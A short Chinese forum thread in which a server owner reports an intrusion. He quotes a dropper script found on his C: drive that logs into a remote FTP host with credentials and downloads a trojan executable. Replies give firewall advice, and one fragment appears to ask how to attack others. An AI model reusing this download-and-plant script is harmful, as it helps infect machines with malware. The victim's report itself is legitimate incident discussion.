服务器又被攻击了，现在的玩家都好奔放啊

[lidanger]

刚过年去检查检查服务器，发现任务管理器里多了个ftp.exe的进程，然后在C盘根目录下发现一个文件


open 218.206.207.7
123123
123123
get MUMA.exe c:\bootMUMA.exe
bye


这是ftp指令吧？果然FTP能登录




除了system32目录下的ftp.exe被启动了，其他倒没什么异常进程。这是什么节奏？

[captaintao]

防毒意识薄弱。这些小伎俩自带防火墙就可以屏蔽掉。要注意观察两点，第一是病毒，第二看防火墙当前开启的端口，开启严格模式，只开放必要端口，其余全部dsc。

[oChenJiaYu]

不知道如果攻击别人